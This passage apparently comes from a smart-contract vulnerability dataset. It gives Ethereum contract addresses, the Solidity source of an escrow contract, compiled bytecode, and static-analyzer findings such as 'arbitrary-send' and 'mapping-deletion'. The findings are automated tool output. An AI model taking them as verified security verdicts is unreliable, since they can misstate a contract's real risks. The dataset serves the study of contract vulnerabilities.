15611ce457600080fd5b600092505b83831015611df4578683815181101515611cff57fe5b906020019060200201519150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611d6857600080fd5b8583815181101515611d7657fe5b90602001906020020151905080600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611ded6001846124f890919063ffffffff16565b9250611ce9565b600194505050505092915050565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611e5b57600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442111515611ea857600080fd5b611ebc33600961251490919063ffffffff16565b611f0d826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265290919063ffffffff16565b10151515611f1a57600080fd5b611f2e33600961266b90919063ffffffff16565b8015611f6657508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b15611f8557611f8333838360096126bc909392919063ffffffff16565b505b611fd6816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612069816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f890919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561217257600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156121cf57600080fd5b81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001905092915050565b6000806000806000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561228157600080fd5b8551875114151561229157600080fd5b865193506000841115156122a457600080fd5b600092505b838310156123a15786838151811015156122bf57fe5b906020019060200201519150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561232857600080fd5b858381518110151561233657fe5b90602001906020020151905080600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239a6001846124f890919063ffffffff16565b92506122a9565b600194505050505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561249457600080fd5b6124a8826009612cb590919063ffffffff16565b9050919050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000818301905082811015151561250b57fe5b80905092915050565b600080600080600080935061252887612e0b565b92505b6125358784612e3e565b15612645576125448784612e52565b91508660000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010190506126326126238860000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612e9b90919063ffffffff16565b856124f890919063ffffffff16565b935061263e8784613143565b925061252b565b8394505050505092915050565b600082821115151561266057fe5b818303905092915050565b6000808360000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015411905092915050565b6000612752828660000160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f890919063ffffffff16565b8560000160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508460000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050949350505050565b60008061286e6131f5565b60008073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff16141515156128ab57600080fd5b845186511415156128bb57600080fd5b600086511115156128cb57600080fd5b60008660008151811015156128dc57fe5b906020019060200201511415156128f257600080fd5b84600081518110151561290157fe5b9060200190602002015160ff168760ff161115151561291f57600080fd5b600192505b85518310156129ed57858381518110151561293b57fe5b906020019060200201518661295a60018661265290919063ffffffff16565b81518110151561296657fe5b9060200190602002015110151561297c57600080fd5b848381518110151561298a57fe5b9060200190602002015160ff16856129ac60018661265290919063ffffffff16565b8151811015156129b857fe5b9060200190602002015160ff16111515156129d257600080fd5b6129e66001846124f890919063ffffffff16565b9250612924565b606485612a056001885161265290919063ffffffff16565b815181101515612a1157fe5b9060200190602002015160ff16141515612a2a57600080fd5b608060405190810160405280600081526020018860ff1681526020018781526020018681525091508860000160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050818960000160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000820151816000015560208201518160010160006101000a81548160ff021916908360ff1602179055506040820151816002019080519060200190612b25929190613221565b506060820151816003019080519060200190612b4292919061326e565b509050506000811115612b585760019350612c42565b886001018054809190600101612b6e9190613315565b9050612b846001826124f890919063ffffffff16565b8960000160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550878960010182815481101515612bde57fe5b9060005260206000200160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508860020160008154809291906001019190505550600093505b50505095945050505050565b60004282111515612c5e57600080fd5b818460000160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010160000181905550600190509392505050565b6000808360000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015490506000811415612d115760009150612e04565b8360000160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000808201600090556001820160006101000a81549060ff0219169055600282016000612d8c9190613341565b600382016000612d9c9190613362565b50505050600184600101612dba60018461265290919063ffffffff16565b815481101515612dc657fe5b9060005260206000200160000160146101000a81548160ff021916908315150217905550836002016000815480929190600190039190505550600191505b5092915050565b6000612e37827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff613143565b9050919050565b600082600101805490508210905092915050565b60008260010182815481101515612e6557fe5b9060005260206000200160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905092915050565b6000806000831415612eb0576000915061313c565b600084600001541480612ec65750428460000154115b15612f1e57612f17612f086064612efa8760010160009054906101000a900460ff1660ff16876131a790919063ffffffff16565b6131df90919063ffffffff16565b8461265290919063ffffffff16565b915061313c565b600090505b612f3e6001856002018054905061265290919063ffffffff16565b81101561305b57612f778460020182815481101515612f5957fe5b906000526020600020015485600001546124f890919063ffffffff16565b4210158015612fc95750612fc684600201612f9c6001846124f890919063ffffffff16565b815481101515612fa857fe5b906000526020600020015485600001546124f890919063ffffffff16565b42105b156130405761303961302a606461301c8760030185815481101515612fea57fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff16876131a790919063ffffffff16565b6131df90919063ffffffff16565b8461265290919063ffffffff16565b915061313c565b6130546001826124f890919063ffffffff16565b9050612f23565b6130a78460020161307d6001876002018054905061265290919063ffffffff16565b81548110151561308957fe5b906000526020600020015485600001546124f890919063ffffffff16565b4210151561313b576131346131256064613117876003016130d960018a6002018054905061265290919063ffffffff16565b8154811015156130e557fe5b90600052602060002090602091828204019190069054906101000a900460ff1660ff16876131a790919063ffffffff16565b6131df90919063ffffffff16565b8461265290919063ffffffff16565b915061313c565b5b5092915050565b600081806001019250505b82600101805490508210801561318c5750826001018281548110151561317057fe5b9060005260206000200160000160149054906101000a900460ff165b1561319e57818060010192505061314e565b81905092915050565b6000808314156131ba57600090506131d9565b81830290508183828115156131cb57fe5b041415156131d557fe5b8090505b92915050565b600081838115156131ec57fe5b04905092915050565b60806040519081016040528060008152602001600060ff16815260200160608152602001606081525090565b82805482825590600052602060002090810192821561325d579160200282015b8281111561325c578251825591602001919060010190613241565b5b50905061326a919061338a565b5090565b82805482825590600052602060002090601f016020900481019282156133045791602002820160005b838211156132d557835183826101000a81548160ff021916908360ff1602179055509260200192600101602081600001049283019260010302613297565b80156133025782816101000a81549060ff02191690556001016020816000010492830192600103026132d5565b505b50905061331191906133af565b5090565b81548183558181111561333c5781836000526020600020918201910161333b91906133df565b5b505050565b508054600082559060005260206000209081019061335f919061338a565b50565b50805460008255601f016020900490600052602060002090810190613387919061338a565b50565b6133ac91905b808211156133a8576000816000905550600101613390565b5090565b90565b6133dc91905b808211156133d857600081816101000a81549060ff0219169055506001016133b5565b5090565b90565b61343691905b8082111561343257600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556000820160146101000a81549060ff0219169055506001016133e5565b5090565b905600a165627a7a72305820c71363db01cd33cceded941b4cff19368943ba550aacba068545c1f291796f6e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,430
0x0ce80662769f22fd161e5e92cfc82121c835e097
pragma solidity 0.4.23; /* * Ownable * * Base contract with an owner. * Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner. */ contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract SafeMath { function safeMul(uint a, uint b) internal pure returns (uint256) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal pure returns (uint256) { uint c = a / b; return c; } function safeSub(uint a, uint b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal pure returns (uint256) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title Stoppable * @dev Base contract which allows children to implement final irreversible stop mechanism. */ contract Stoppable is Pausable { event Stop(); bool public stopped = false; /** * @dev Modifier to make a function callable only when the contract is not stopped. */ modifier whenNotStopped() { require(!stopped); _; } /** * @dev Modifier to make a function callable only when the contract is stopped. */ modifier whenStopped() { require(stopped); _; } /** * @dev called by the owner to pause, triggers stopped state */ function stop() public onlyOwner whenNotStopped { stopped = true; emit Stop(); } } /** * @title Eth2Phone Escrow Contract * @dev Contract allows to send ether through verifier (owner of contract). * * Only verifier can initiate withdrawal to recipient&#39;s address. * Verifier cannot choose recipient&#39;s address without * transit private key generated by sender. * * Sender is responsible to provide transit private key * to recipient off-chain. * * Recepient signs address to receive with transit private key and * provides signed address to verification server. * (See VerifyTransferSignature method for details.) * * Verifier verifies off-chain the recipient in accordance with verification * conditions (e.g., phone ownership via SMS authentication) and initiates * withdrawal to the address provided by recipient. * (See withdraw method for details.) * * Verifier charges commission for it&#39;s services. * * Sender is able to cancel transfer if it&#39;s not yet cancelled or withdrawn * by recipient. * (See cancelTransfer method for details.) */ contract e2pEscrow is Stoppable, SafeMath { // fixed amount of wei accrued to verifier with each transfer uint public commissionFee; // verifier can withdraw this amount from smart-contract uint public commissionToWithdraw; // in wei // verifier&#39;s address address public verifier; /* * EVENTS */ event LogDeposit( address indexed sender, address indexed transitAddress, uint amount, uint commission ); event LogCancel( address indexed sender, address indexed transitAddress ); event LogWithdraw( address indexed sender, address indexed transitAddress, address indexed recipient, uint amount ); event LogWithdrawCommission(uint commissionAmount); event LogChangeFixedCommissionFee( uint oldCommissionFee, uint newCommissionFee ); event LogChangeVerifier( address oldVerifier, address newVerifier ); struct Transfer { address from; uint amount; // in wei } // Mappings of transitAddress => Transfer Struct mapping (address => Transfer) transferDct; /** * @dev Contructor that sets msg.sender as owner (verifier) in Ownable * and sets verifier&#39;s fixed commission fee. * @param _commissionFee uint Verifier&#39;s fixed commission for each transfer */ constructor(uint _commissionFee, address _verifier) public { commissionFee = _commissionFee; verifier = _verifier; } modifier onlyVerifier() { require(msg.sender == verifier); _; } /** * @dev Deposit ether to smart-contract and create transfer. * Transit address is assigned to transfer by sender. * Recipient should sign withrawal address with the transit private key * * @param _transitAddress transit address assigned to transfer. * @return True if success. */ function deposit(address _transitAddress) public whenNotPaused whenNotStopped payable returns(bool) { // can not override existing transfer require(transferDct[_transitAddress].amount == 0); require(msg.value > commissionFee); // saving transfer details transferDct[_transitAddress] = Transfer( msg.sender, safeSub(msg.value, commissionFee)//amount = msg.value - comission ); // accrue verifier&#39;s commission commissionToWithdraw = safeAdd(commissionToWithdraw, commissionFee); // log deposit event emit LogDeposit(msg.sender, _transitAddress, msg.value, commissionFee); return true; } /** * @dev Change verifier&#39;s fixed commission fee. * Only owner can change commision fee. * * @param _newCommissionFee uint New verifier&#39;s fixed commission * @return True if success. */ function changeFixedCommissionFee(uint _newCommissionFee) public whenNotPaused whenNotStopped onlyOwner returns(bool success) { uint oldCommissionFee = commissionFee; commissionFee = _newCommissionFee; emit LogChangeFixedCommissionFee(oldCommissionFee, commissionFee); return true; } /** * @dev Change verifier&#39;s address. * Only owner can change verifier&#39;s address. * * @param _newVerifier address New verifier&#39;s address * @return True if success. */ function changeVerifier(address _newVerifier) public whenNotPaused whenNotStopped onlyOwner returns(bool success) { address oldVerifier = verifier; verifier = _newVerifier; emit LogChangeVerifier(oldVerifier, verifier); return true; } /** * @dev Transfer accrued commission to verifier&#39;s address. * @return True if success. */ function withdrawCommission() public whenNotPaused returns(bool success) { uint commissionToTransfer = commissionToWithdraw; commissionToWithdraw = 0; owner.transfer(commissionToTransfer); // owner is verifier emit LogWithdrawCommission(commissionToTransfer); return true; } /** * @dev Get transfer details. * @param _transitAddress transit address assigned to transfer * @return Transfer details (id, sender, amount) */ function getTransfer(address _transitAddress) public constant returns ( address id, address from, // transfer sender uint amount) // in wei { Transfer memory transfer = transferDct[_transitAddress]; return ( _transitAddress, transfer.from, transfer.amount ); } /** * @dev Cancel transfer and get sent ether back. Only transfer sender can * cancel transfer. * @param _transitAddress transit address assigned to transfer * @return True if success. */ function cancelTransfer(address _transitAddress) public returns (bool success) { Transfer memory transferOrder = transferDct[_transitAddress]; // only sender can cancel transfer; require(msg.sender == transferOrder.from); delete transferDct[_transitAddress]; // transfer ether to recipient&#39;s address msg.sender.transfer(transferOrder.amount); // log cancel event emit LogCancel(msg.sender, _transitAddress); return true; } /** * @dev Verify that address is signed with correct verification private key. * @param _transitAddress transit address assigned to transfer * @param _recipient address Signed address. * @param _v ECDSA signature parameter v. * @param _r ECDSA signature parameters r. * @param _s ECDSA signature parameters s. * @return True if signature is correct. */ function verifySignature( address _transitAddress, address _recipient, uint8 _v, bytes32 _r, bytes32 _s) public pure returns(bool success) { bytes32 prefixedHash = keccak256("\x19Ethereum Signed Message:\n32", _recipient); address retAddr = ecrecover(prefixedHash, _v, _r, _s); return retAddr == _transitAddress; } /** * @dev Verify that address is signed with correct private key for * verification public key assigned to transfer. * @param _transitAddress transit address assigned to transfer * @param _recipient address Signed address. * @param _v ECDSA signature parameter v. * @param _r ECDSA signature parameters r. * @param _s ECDSA signature parameters s. * @return True if signature is correct. */ function verifyTransferSignature( address _transitAddress, address _recipient, uint8 _v, bytes32 _r, bytes32 _s) public pure returns(bool success) { return (verifySignature(_transitAddress, _recipient, _v, _r, _s)); } /** * @dev Withdraw transfer to recipient&#39;s address if it is correctly signed * with private key for verification public key assigned to transfer. * * @param _transitAddress transit address assigned to transfer * @param _recipient address Signed address. * @param _v ECDSA signature parameter v. * @param _r ECDSA signature parameters r. * @param _s ECDSA signature parameters s. * @return True if success. */ function withdraw( address _transitAddress, address _recipient, uint8 _v, bytes32 _r, bytes32 _s ) public onlyVerifier // only through verifier can withdraw transfer; whenNotPaused whenNotStopped returns (bool success) { Transfer memory transferOrder = transferDct[_transitAddress]; // verifying signature require(verifySignature(_transitAddress, _recipient, _v, _r, _s )); delete transferDct[_transitAddress]; // transfer ether to recipient&#39;s address _recipient.transfer(transferOrder.amount); // log withdraw event emit LogWithdraw(transferOrder.from, _transitAddress, _recipient, transferOrder.amount); return true; } // fallback function - do not receive ether by default function() public payable { revert(); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806307da68f5146101015780630ee2b0e6146101185780632b7ac3f3146101435780633dabb0f61461019a5780633e25e8371461023e5780633f4ba83a1461026d5780635ac3835d146102845780635c975abb146103285780636fb1eb0c146103575780637297be7f1461038257806375f12b21146103c75780638456cb59146103f65780638bdc5a5f1461040d5780638da5cb5b146104b1578063a7c1e62914610508578063cf04fb9414610563578063db0d5175146105be578063f340fa011461067b575b600080fd5b34801561010d57600080fd5b506101166106c9565b005b34801561012457600080fd5b5061012d610789565b6040518082815260200191505060405180910390f35b34801561014f57600080fd5b5061015861078f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101a657600080fd5b50610224600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190803560001916906020019092919080356000191690602001909291905050506107b5565b604051808215151515815260200191505060405180910390f35b34801561024a57600080fd5b506102536108f4565b604051808215151515815260200191505060405180910390f35b34801561027957600080fd5b506102826109c7565b005b34801561029057600080fd5b5061030e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050610a85565b604051808215151515815260200191505060405180910390f35b34801561033457600080fd5b5061033d610a9f565b604051808215151515815260200191505060405180910390f35b34801561036357600080fd5b5061036c610ab2565b6040518082815260200191505060405180910390f35b34801561038e57600080fd5b506103ad60048036038101908080359060200190929190505050610ab8565b604051808215151515815260200191505060405180910390f35b3480156103d357600080fd5b506103dc610ba5565b604051808215151515815260200191505060405180910390f35b34801561040257600080fd5b5061040b610bb8565b005b34801561041957600080fd5b50610497600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff16906020019092919080356000191690602001909291908035600019169060200190929190505050610c78565b604051808215151515815260200191505060405180910390f35b3480156104bd57600080fd5b506104c6610f28565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051457600080fd5b50610549600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f4d565b604051808215151515815260200191505060405180910390f35b34801561056f57600080fd5b506105a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611161565b604051808215151515815260200191505060405180910390f35b3480156105ca57600080fd5b506105ff600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061131f565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390f35b6106af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113f1565b604051808215151515815260200191505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561072457600080fd5b600060159054906101000a900460ff1615151561074057600080fd5b6001600060156101000a81548160ff0219169083151502179055507fbedf0f4abfe86d4ffad593d9607fe70e83ea706033d44d24b3b6283cf3fc4f6b60405160405180910390a1565b60025481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008660405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140191505060405180910390209150600182878787604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af11580156108ac573d6000803e3d6000fd5b5050506020604051035190508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16149250505095945050505050565b600080600060149054906101000a900460ff1615151561091357600080fd5b600254905060006002819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610987573d6000803e3d6000fd5b507f3edf228d54016de2c57c145318c98467681be853eb40b70bc72ffd795550aa26816040518082815260200191505060405180910390a1600191505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2257600080fd5b600060149054906101000a900460ff161515610a3d57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000610a9486868686866107b5565b905095945050505050565b600060149054906101000a900460ff1681565b60015481565b600080600060149054906101000a900460ff16151515610ad757600080fd5b600060159054906101000a900460ff16151515610af357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4e57600080fd5b6001549050826001819055507f9f43d788b36e7b67ff4c6a52197dfb4a40cce888efd52a5a7240c1276c85adbf81600154604051808381526020018281526020019250505060405180910390a16001915050919050565b600060159054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c1357600080fd5b600060149054906101000a900460ff16151515610c2f57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000610c82611617565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cde57600080fd5b600060149054906101000a900460ff16151515610cfa57600080fd5b600060159054906101000a900460ff16151515610d1657600080fd5b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815250509050610dcf87878787876107b5565b1515610dda57600080fd5b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550508573ffffffffffffffffffffffffffffffffffffffff166108fc82602001519081150290604051600060405180830381858888f19350505050158015610e95573d6000803e3d6000fd5b508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16826000015173ffffffffffffffffffffffffffffffffffffffff167faa5b60cdfa493767441e10be5daea291b831cb9faa638ebf160d434588d7ecbd84602001516040518082815260200191505060405180910390a4600191505095945050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f57611617565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820154815250509050806000015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561104157600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550503373ffffffffffffffffffffffffffffffffffffffff166108fc82602001519081150290604051600060405180830381858888f193505050501580156110fc573d6000803e3d6000fd5b508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fbadeab042d3a4137cdc34a05ee0e698eb9bb91cea276c79d4c8cafeeee302a3760405160405180910390a36001915050919050565b600080600060149054906101000a900460ff1615151561118057600080fd5b600060159054906101000a900460ff1615151561119c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111f757600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905082600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507e23b4b8d3b24bb4e63a4d72a2a8012e5134c4b51c84fa61ae55749793c6418381600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16001915050919050565b600080600061132c611617565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201548152505090508481600001518260200151935093509350509193909250565b60008060149054906101000a900460ff1615151561140e57600080fd5b600060159054906101000a900460ff1615151561142a57600080fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015414151561147b57600080fd5b6001543411151561148b57600080fd5b60408051908101604052803373ffffffffffffffffffffffffffffffffffffffff1681526020016114be346001546115e0565b815250600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101559050506115626002546001546115f9565b6002819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f4e3e4894f24a7c50bcb21d1ef785e34688bee05663c55d822eed7cefc253312334600154604051808381526020018281526020019250505060405180910390a360019050919050565b60008282111515156115ee57fe5b818303905092915050565b600080828401905083811015151561160d57fe5b8091505092915050565b6040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815250905600a165627a7a72305820b09d845a1ccae545a3d2818772a714c6c0412e02e25a6b1003658ab8369970f60029
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,431
0xafd707e89495b38422ff13b532e757fc6900481d
